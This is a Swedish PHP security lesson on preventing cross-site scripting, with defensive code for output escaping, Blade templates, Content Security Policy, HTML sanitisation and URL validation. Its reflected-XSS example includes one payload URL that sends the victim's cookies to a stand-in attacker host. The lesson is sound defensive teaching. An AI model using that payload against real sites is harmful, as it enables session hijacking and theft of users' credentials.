Förhindra cross-site scripting (XSS)
Escapa utdata med htmlspecialchars och implementera en Content Security Policy.
Förhindra cross-site scripting (XSS) är en gratis lektion i PHP Academy på CoddyKit. Detta är lektion 1 av 4. Ni kan läsa hela lektionen gratis nedan och sedan öva praktiskt i webbläsaren med en inbyggd kodredigerare och en AI-handledare som är tillgänglig dygnet runt. Den ingår i lärvägen för PHP Academy, och Era framsteg synkroniseras mellan webben och CoddyKit-appen. Kursen i PHP Academy innehåller totalt 4 lektioner.
Vad är XSS?
Cross-Site Scripting (XSS) inträffar när en angripare injicerar skadlig JavaScript-kod i webbsidor som visas för andra användare. Skriptet körs i offrets webbläsare och får åtkomst till offrets session, cookies och DOM.
Reflekterad XSS
Den skadliga nyttolasten finns i URL:en eller i en formulärparameter och återspeglas av servern i svaret.
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>Lagrad XSS
Nyttolasten sparas i databasen, till exempel i en kommentar eller ett profilfält, och visas för alla besökare som visar sidan.
DOM-baserad XSS
Sårbarheten finns helt i JavaScript på klientsidan, som på ett osäkert sätt infogar data som inte är betrodd i DOM med hjälp av innerHTML eller document.write.
htmlspecialchars()
Escapa utdata så att HTML:s specialtecken omvandlas till ofarliga entiteter. Escapa alltid användarens data innan den renderas.
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesAutomatisk escapning i Blade
Laravel Blades {{ }}-syntax anropar automatiskt htmlspecialchars. Använd endast {!! !!} för betrodd och sanerad HTML.
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>Content Security Policy (CSP)
En CSP HTTP-header instruerar webbläsare att endast köra skript från betrodda källor och blockerar injicerade inline-skript även om de når sidan.
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);Sanering av HTML-indata
Om Ni måste tillåta formaterad HTML-indata, till exempel från en WYSIWYG-redigerare, ska den saneras med ett bibliotek som använder en tillåtelselista, till exempel HTML Purifier eller Laravel-paketet mews/purifier.
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);X-XSS-Protection-header
Lägg till headern X-XSS-Protection: 1; mode=block för stöd i äldre webbläsare. Moderna webbläsare förlitar sig i stället på CSP.
HttpOnly-cookies
Om HttpOnly-flaggan sätts på sessionscookies kan JavaScript inte läsa dem, vilket begränsar risken för sessionsstöld via XSS även om ett skript injiceras.
Validera URL:er
Infoga aldrig URL:er från användare i href eller src utan validering. En javascript:-URI kan köra XSS.
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}Sammanfattning
Escapa alltid utdata med htmlspecialchars eller Blades {{ }}. Lägg till en Content Security Policy. Sanera HTML-indata med ett bibliotek som använder en tillåtelselista. Använd HttpOnly-cookies.
Snabbtest
Vilken PHP-funktion omvandlar särskilda HTML-tecken till entiteter?
Lär dig PHP med en AI-lärare – gratis
Skriv och kör riktig kod i webbläsaren, få omedelbar hjälp av en AI-lärare dygnet runt och fortsätt där du slutade – på webben eller i appen.
- Kurser
- 49
- Lektioner
- 195
Vanliga frågor
Är lektionen ”Förhindra cross-site scripting (XSS)” gratis?
Ja – hela texten till ”Förhindra cross-site scripting (XSS)” kan läsas gratis här på webben. Om Ni vill öva interaktivt med en inbyggd kodredigerare och en AI-handledare som är tillgänglig dygnet runt och låsa upp resten av kursen i PHP Academy, kan Ni uppgradera till CoddyKit PRO. Kursen i PHP Academy innehåller totalt 4 lektioner.
Vad lär jag mig i ”Förhindra cross-site scripting (XSS)”?
Escapa utdata med htmlspecialchars och implementera en Content Security Policy. Ni övar på PHP Academy med praktisk kod som körs direkt i webbläsaren, medan en AI-handledare som är tillgänglig dygnet runt svarar på Era frågor under lektionen.
Behöver jag någon erfarenhet för att börja lära mig PHP Academy?
Du behöver inga förkunskaper. Utbildningen i PHP Academy på CoddyKit är upplagd för allt från nybörjare till avancerade elever, så att du kan börja här eller från början och gå fram i din egen takt. Detta är lektion 1 av 4.
Hur lång tid tar lektionen ”Förhindra cross-site scripting (XSS)”?
De flesta CoddyKit-lektioner tar cirka 5–10 minuter. Varje lektion är kort och interaktiv, så att du gör stadiga framsteg och kan fortsätta precis där du slutade – på webben eller i appen.
Kan jag skriva och köra kod i den här PHP Academy-lektionen?
Ja. Varje PHP Academy-lektion innehåller en inbyggd kodredigerare, så att du kan skriva och köra riktig kod direkt i webbläsaren och få omedelbar AI-feedback – utan lokal installation.
Alla lektioner i den här kursen
- Förhindra cross-site scripting (XSS)
- SQL-injektion och parametriserade frågor
- CSRF-skydd
- Säker lagring av lösenord